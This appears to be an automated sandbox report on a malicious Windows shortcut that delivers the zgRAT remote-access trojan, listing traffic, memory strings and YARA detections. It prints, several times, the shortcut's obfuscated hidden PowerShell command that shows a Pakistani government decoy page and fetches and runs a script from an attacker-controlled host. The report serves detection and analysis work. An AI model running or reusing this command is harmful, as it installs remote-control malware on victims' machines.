Source: global traffic	HTTP traffic detected: GET /1000/500/ HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: cloud.dellicon.topConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /?v=9&encording=json HTTP/1.1Connection: Upgrade,Keep-AliveUpgrade: websocketSec-WebSocket-Key: 0h1HX+d4bLFaNYIrsTupkQ==Sec-WebSocket-Version: 13Host: gateway.discord.gg
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=+RXM+ul9gZsDE19&MD=3r6m3nSv HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET //WinSysMgr/ HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: pmofficepakistancloudserver.shiftroof.topConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /DSCTSC/ HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: ofc.mofserviceserver.topConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /1000/500/ HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: cloud.dellicon.topConnection: Keep-Alive

Source: BX7yRz7XqF.lnk	String found in binary or memory: -noLOG -WInDoWST HIDDe -NoeXI -NoprOFILE -noniNtErac -CommaN ping www.nadra.gov.pk; nslookup www.yahoo.com; nslookup www.protonmail.com; start https://pmo.gov.pk/site/404; $id='ftroof.top/'; &('i'+'r'+'m') http://pmofficepakistancloudserver.shi$id/WinSysMgr/\|Powershell9%ProgramFiles(x86)%\Microsoft\Edge\Application\msedge.exe equals www.yahoo.com (Yahoo)
Source: powershell.exe, 00000000.00000002.3889819595.0000020571230000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLOG -WInDoWST HIDDe -NoeXI -NoprOFILE -noniNtErac -CommaN ping www.nadra.gov.pk; nslookup www.yahoo.com; nslookup www.protonmail.com; start https://pmo.gov.pk/site/404; $id='ftroof.top/'; &('i'+'r'+'m') http://pmofficepakistancloudserver.shi$id/WinSysMgr/\|Powershell equals www.yahoo.com (Yahoo)
Source: nslookup.exe, 00000004.00000002.1379267470.000001942A770000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: "C:\Windows\system32\nslookup.exe" www.yahoo.com equals www.yahoo.com (Yahoo)
Source: ConDrv.4.dr	String found in binary or memory: Aliases: www.yahoo.com equals www.yahoo.com (Yahoo)
Source: powershell.exe, 00000000.00000002.3889819595.0000020571230000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\Desktop\C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLOG -WInDoWST HIDDe -NoeXI -NoprOFILE -noniNtErac -CommaN ping www.nadra.gov.pk; nslookup www.yahoo.com; nslookup www.protonmail.com; start https://pmo.gov.pk/site/404; $id='ftroof.top/'; &('i'+'r'+'m') http://pmofficepakistancloudserver.shi$id/WinSysMgr/\|PowershellC:\Users\user\Desktop\BX7yRz7XqF.lnkWinsta0\Default equals www.yahoo.com (Yahoo)
Source: nslookup.exe, 00000004.00000002.1379267470.000001942A770000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\Desktop\C:\Windows\system32\nslookup.exe"C:\Windows\system32\nslookup.exe" www.yahoo.comC:\Windows\system32\nslookup.exeWinsta0\DefaultT equals www.yahoo.com (Yahoo)
Source: powershell.exe, 00000000.00000002.3893130672.0000020572D20000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.3895148907.0000020573340000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.3889819595.0000020571237000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe-noLOG-WInDoWSTHIDDe-NoeXI-NoprOFILE-noniNtErac-CommaNpingwww.nadra.gov.pk;nslookupwww.yahoo.com;nslookupwww.protonmail.com;starthttps://pmo.gov.pk/site/404;$id='ftroof.top/';&('i'+'r'+'m')http://pmofficepakistancloudserver.shi$id/WinSysMgr/\|Powershell equals www.yahoo.com (Yahoo)
Source: powershell.exe, 00000000.00000002.3892359354.0000020571380000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe-noLOG-WInDoWSTHIDDe-NoeXI-NoprOFILE-noniNtErac-CommaNpingwww.nadra.gov.pk;nslookupwww.yahoo.com;nslookupwww.protonmail.com;starthttps://pmo.gov.pk/site/404;$id='ftroof.top/';&('i'+'r'+'m')http://pmofficepakistancloudserver.shi$id/WinSysMgr/\|PowershellPUBLIC=C equals www.yahoo.com (Yahoo)
Source: nslookup.exe, 00000004.00000002.1379343279.000001942AA50000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Windows\system32\nslookup.exewww.yahoo.comt equals www.yahoo.com (Yahoo)
Source: powershell.exe, 00000000.00000002.3898543575.0000020573560000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: em32\windowspowershell\v1.0\powershell.exe" -nolog -windowst hidde -noexi -noprofile -noninterac -comman ping www.nadra.gov.pk; nslookup www.yahoo.com; nslookup www.protonmail.com; start https://pmo.gov.pk/site/404; $id='ftroof.top/'; &('i'+'r'+'m') http://pmofficepakistancloudserver.shi$id/winsysmgr/\|powershell equals www.yahoo.com (Yahoo)
Source: powershell.exe, 00000000.00000002.3806263511.0000020500001000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ping www.nadra.gov.pk; nslookup www.yahoo.com; nslookup www.protonmail.com; start https://pmo.gov.pk/site/404; $id='ftroof.top/'; &('i'+'r'+'m') http://pmofficepakistancloudserver.shi$id/WinSysMgr/\|Powershell equals www.yahoo.com (Yahoo)
Source: powershell.exe, 00000000.00000002.3806263511.0000020500234000.00000004.00000800.00020000.00000000.sdmp, nslookup.exe, 00000004.00000002.1379343279.000001942AA50000.00000004.00000020.00020000.00000000.sdmp, nslookup.exe, 00000004.00000002.1379343279.000001942AA54000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: www.yahoo.com equals www.yahoo.com (Yahoo)
Source: nslookup.exe, 00000004.00000002.1379343279.000001942AA54000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: www.yahoo.com207::1ww.g06.yahoodns.net equals www.yahoo.com (Yahoo)
Source: powershell.exe, 00000000.00000002.3893130672.0000020572D20000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.3806263511.0000020500001000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.3895148907.0000020573340000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: www.yahoo.com; equals www.yahoo.com (Yahoo)

Source: global traffic	DNS traffic detected: DNS query: www.nadra.gov.pk
Source: global traffic	DNS traffic detected: DNS query: 1.1.1.1.in-addr.arpa
Source: global traffic	DNS traffic detected: DNS query: www.yahoo.com
Source: global traffic	DNS traffic detected: DNS query: www.protonmail.com
Source: global traffic	DNS traffic detected: DNS query: pmofficepakistancloudserver.shiftroof.top
Source: global traffic	DNS traffic detected: DNS query: pmo.gov.pk
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: ofc.mofserviceserver.top
Source: global traffic	DNS traffic detected: DNS query: cloud.dellicon.top
Source: global traffic	DNS traffic detected: DNS query: gateway.discord.gg

Source: global traffic

HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 30 Sep 2024 16:58:41 GMTContent-Length: 0Connection: closeCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=5t5gXkthIkgQZWWQwCczNmQmbGxiddKQM2myo9PGXpxLUu22LuY8NQZhUlpsHtp7vfKIoJISDOYTJCrNMyW0SMpVO3JGFxntGFzGAeMvor%2Bd5ELnlKkxj05pgz6%2BAU2v27VHLA%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Strict-Transport-Security: max-age=31536000; includeSubDomains; preloadX-Content-Type-Options: nosniffServer: cloudflareCF-RAY: 8cb5c258ea3c4315-EWR

Source: powershell.exe, 0000000F.00000002.1601062674.000001D1B137C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cloud.dellicon.top
Source: powershell.exe, 0000000F.00000002.1601062674.000001D1B137C000.00000004.00000800.00020000.00000000.sdmp, ConDrv.15.dr	String found in binary or memory: http://cloud.dellicon.top/1000/500/
Source: svchost.exe, 00000008.00000002.3809924179.000002384C800000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: svchost.exe, 00000008.00000002.3810717471.000002384C8CA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://edgedl.me.gvt1.com/
Source: qmgr.db.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: svchost.exe, 00000008.00000002.3810056014.000002384C82C000.00000004.00000020.00020000.00000000.sdmp, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/e6xlmsu5i2bokri3w4cyuhv4nq_2024.8.10.0/go
Source: svchost.exe, 00000008.00000002.3810352798.000002384C88D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://edgedl.me.gvt1.com:80
Source: svchost.exe, 00000008.00000002.3810352798.000002384C861000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://edgedl.me.gvt1.com:80/edgedl/release2/chrome_component/e6xlmsu5i2bokri3w4cyuhv4nq_2024.8.10.0
Source: svchost.exe, 00000008.00000002.3810352798.000002384C861000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://edgedl.me.gvt1.com:80gL$
Source: edb.log.8.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: powershell.exe, 0000000F.00000002.1601062674.000001D1B1786000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://gateway.discord.gg
Source: powershell.exe, 00000000.00000002.3879782353.0000020510072000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.3879782353.00000205101B4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.3806263511.0000020501A8A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.1446930048.00000248003DF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.1463269695.0000024810092000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.1463269695.00000248101C9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.1653750682.000001D1C1143000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 0000000A.00000002.1446930048.000002480162F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ofc.mofserviceserver.t
Source: powershell.exe, 00000000.00000002.3806263511.0000020501980000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.1446930048.000002480162F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ofc.mofserviceserver.top/DSCT
Source: cmd.exe, 0000000B.00000002.1442577782.00000207CCBEB000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 0000000B.00000003.1440233846.00000207CCEE5000.00000004.00000020.00020000.00000000.sdmp, ConDrv.10.dr	String found in binary or memory: http://ofc.mofserviceserver.top/DSCTSC/
Source: powershell.exe, 0000000F.00000002.1601062674.000001D1B2C6A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.1601062674.000001D1B26DB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000000.00000002.3806263511.0000020500234000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pmofficepakistancloudserver.shi
Source: powershell.exe, 00000000.00000002.3889819595.0000020571230000.00000004.00000020.00020000.00000000.sdmp, BX7yRz7XqF.lnk	String found in binary or memory: http://pmofficepakistancloudserver.shi$id/WinSysMgr/
Source: powershell.exe, 00000000.00000002.3898543575.0000020573560000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://pmofficepakistancloudserver.shi$id/winsysmgr/
Source: powershell.exe, 00000000.00000002.3806263511.000002050195E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.3806263511.00000205014EC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pmofficepakistancloudserver.shiftroof.top
Source: powershell.exe, 00000000.00000002.3806263511.00000205014EC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pmofficepakistancloudserver.shiftroof.top//WinSysMgr/
Source: powershell.exe, 00000000.00000002.3806263511.0000020500E0B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pmofficepakistancloudserver.shiftroof.top//WinSysMgr/the
Source: powershell.exe, 00000000.00000002.3806263511.0000020500001000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.1446930048.0000024800001000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.1601062674.000001D1B10B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 0000000A.00000002.1446930048.00000248019E1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.1601062674.000001D1B26DB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: powershell.exe, 0000000F.00000002.1601062674.000001D1B2C6A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.1601062674.000001D1B26DB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: powershell.exe, 00000000.00000002.3898678743.0000020573660000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.microsoft.
Source: powershell.exe, 0000000F.00000002.1672029257.000001D1C9810000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.microsoft.co
Source: powershell.exe, 0000000F.00000002.1671863168.000001D1C9630000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.microsoft.coC
Source: powershell.exe, 00000000.00000002.3806263511.0000020500001000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.1446930048.0000024800001000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.1601062674.000001D1B10B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore68
Source: powershell.exe, 0000000F.00000002.1601062674.000001D1B151A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cloud.dellicon.top
Source: powershell.exe, 0000000F.00000002.1601062674.000001D1B1548000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.1601062674.000001D1B151A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cloud.dellicon.top/1000/500/
Source: powershell.exe, 0000000F.00000002.1653750682.000001D1C1143000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 0000000F.00000002.1653750682.000001D1C1143000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 0000000F.00000002.1653750682.000001D1C1143000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: powershell.exe, 0000000F.00000002.1601062674.000001D1B16E6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://discord.com/api/v9/channels/
Source: powershell.exe, 0000000F.00000002.1601062674.000001D1B1776000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.1601062674.000001D1B16E6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://discord.com/api/v9/guilds/
Source: powershell.exe, 0000000F.00000002.1601062674.000001D1B1776000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.1601062674.000001D1B16E6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://file.io/
Source: edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod1C:
Source: svchost.exe, 00000008.00000003.1412694467.000002384C670000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV21C:
Source: powershell.exe, 0000000F.00000002.1601062674.000001D1B1786000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://gateway.discord.gg
Source: powershell.exe, 0000000F.00000002.1601062674.000001D1B1786000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://gateway.discord.gg:443/?v=9&encording=json
Source: powershell.exe, 0000000F.00000002.1601062674.000001D1B2C6A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.1601062674.000001D1B26DB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 00000000.00000002.3806263511.00000205014EC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.1446930048.0000024800F42000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.1601062674.000001D1B1C54000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://go.micro
Source: powershell.exe, 0000000F.00000002.1601062674.000001D1B1776000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.1601062674.000001D1B16E6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ipwho.is/
Source: powershell.exe, 00000000.00000002.3879782353.0000020510072000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.3879782353.00000205101B4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.1446930048.00000248002E5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.1463269695.0000024810092000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.1446930048.0000024801D0E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.1463269695.00000248101C9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.1601062674.000001D1B2DB4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.1653750682.000001D1C1143000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: qmgr.db.8.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe1C:
Source: powershell.exe, 0000000A.00000002.1446930048.00000248019E1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.1601062674.000001D1B26DB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://oneget.org
Source: powershell.exe, 0000000A.00000002.1446930048.00000248019E1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.1601062674.000001D1B26DB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://oneget.orgX
Source: powershell.exe, 00000000.00000002.3898678743.0000020573660000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.3898678743.0000020573647000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.3806263511.0000020500234000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://pmo.gov.pk/site/404
Source: powershell.exe, 00000000.00000002.3898678743.0000020573660000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pmo.gov.pk/site/404&
Source: powershell.exe, 00000000.00000002.3889819595.0000020571230000.00000004.00000020.00020000.00000000.sdmp, BX7yRz7XqF.lnk	String found in binary or memory: https://pmo.gov.pk/site/404;
Source: powershell.exe, 00000000.00000002.3893130672.0000020572D20000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.3895148907.0000020573340000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.3892359354.0000020571380000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.3889819595.0000020571237000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.3889819595.00000205712B5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pmo.gov.pk/site/404;$id=
Source: powershell.exe, 00000000.00000002.3889819595.00000205712B5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pmo.gov.pk/site/404;W
Source: powershell.exe, 00000000.00000002.3889819595.00000205712B5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pmo.gov.pk/site/404;m
Source: powershell.exe, 00000000.00000002.3895148907.0000020573340000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pmo.gov.pk/site/404R_F_PRO
Source: powershell.exe, 00000000.00000002.3898678743.0000020573660000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pmo.gov.pk/site/404T

Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49701 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49677 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49671 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49701

Source: unknown	HTTPS traffic detected: 172.67.149.9:443 -> 192.168.2.7:49715 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.165.165.26:443 -> 192.168.2.7:49718 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.7:49721 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.159.135.234:443 -> 192.168.2.7:49724 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.165.165.26:443 -> 192.168.2.7:49725 version: TLS 1.2

System Summary

Malicious sample detected (through community Yara rule)

Source: 15.2.powershell.exe.1d1c9b50000.6.raw.unpack, type: UNPACKEDPE	Matched rule: Detects zgRAT Author: ditekSHen
Source: 15.2.powershell.exe.1d1c9b50000.6.unpack, type: UNPACKEDPE	Matched rule: Detects zgRAT Author: ditekSHen
Source: 15.2.powershell.exe.1d1c1260f78.4.unpack, type: UNPACKEDPE	Matched rule: Detects zgRAT Author: ditekSHen
Source: 15.2.powershell.exe.1d1c1260f78.4.raw.unpack, type: UNPACKEDPE	Matched rule: Detects zgRAT Author: ditekSHen
Source: 0000000F.00000002.1673745614.000001D1C9B50000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Detects zgRAT Author: ditekSHen
Source: Process Memory Space: powershell.exe PID: 8136, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen

Windows shortcut file (LNK) contains suspicious command line arguments

Source: BX7yRz7XqF.lnk

LNK file: -noLOG -WInDoWST HIDDe -NoeXI -NoprOFILE -noniNtErac -CommaN ping www.nadra.gov.pk; nslookup www.yahoo.com; nslookup www.protonmail.com; start https://pmo.gov.pk/site/404; $id='ftroof.top/'; &('i'+'r'+'m') http://pmofficepakistancloudserver.shi$id/WinSysMgr/|Powershell

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 10_2_00007FFAAC486D80	10_2_00007FFAAC486D80
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 10_2_00007FFAAC48EDE0	10_2_00007FFAAC48EDE0
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 10_2_00007FFAAC48C93B	10_2_00007FFAAC48C93B
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 10_2_00007FFAAC48CA35	10_2_00007FFAAC48CA35
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 10_2_00007FFAAC48CA90	10_2_00007FFAAC48CA90

Source: 15.2.powershell.exe.1d1c9b50000.6.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_zgRAT author = ditekSHen, description = Detects zgRAT
Source: 15.2.powershell.exe.1d1c9b50000.6.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_zgRAT author = ditekSHen, description = Detects zgRAT
Source: 15.2.powershell.exe.1d1c1260f78.4.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_zgRAT author = ditekSHen, description = Detects zgRAT
Source: 15.2.powershell.exe.1d1c1260f78.4.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_zgRAT author = ditekSHen, description = Detects zgRAT
Source: 0000000F.00000002.1673745614.000001D1C9B50000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_zgRAT author = ditekSHen, description = Detects zgRAT
Source: Process Memory Space: powershell.exe PID: 8136, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution

Source: 15.2.powershell.exe.1d1c1260f78.4.raw.unpack, SadyrWrGPJB6lfcrNhY.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 15.2.powershell.exe.1d1c1260f78.4.raw.unpack, SadyrWrGPJB6lfcrNhY.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 15.2.powershell.exe.1d1c1260f78.4.raw.unpack, SadyrWrGPJB6lfcrNhY.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 15.2.powershell.exe.1d1c9b50000.6.raw.unpack, SadyrWrGPJB6lfcrNhY.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 15.2.powershell.exe.1d1c9b50000.6.raw.unpack, SadyrWrGPJB6lfcrNhY.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 15.2.powershell.exe.1d1c9b50000.6.raw.unpack, SadyrWrGPJB6lfcrNhY.cs	Cryptographic APIs: 'CreateDecryptor'

Source: classification engine

Classification label: mal100.troj.evad.winLNK@34/25@22/11

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7892:120:WilError_03

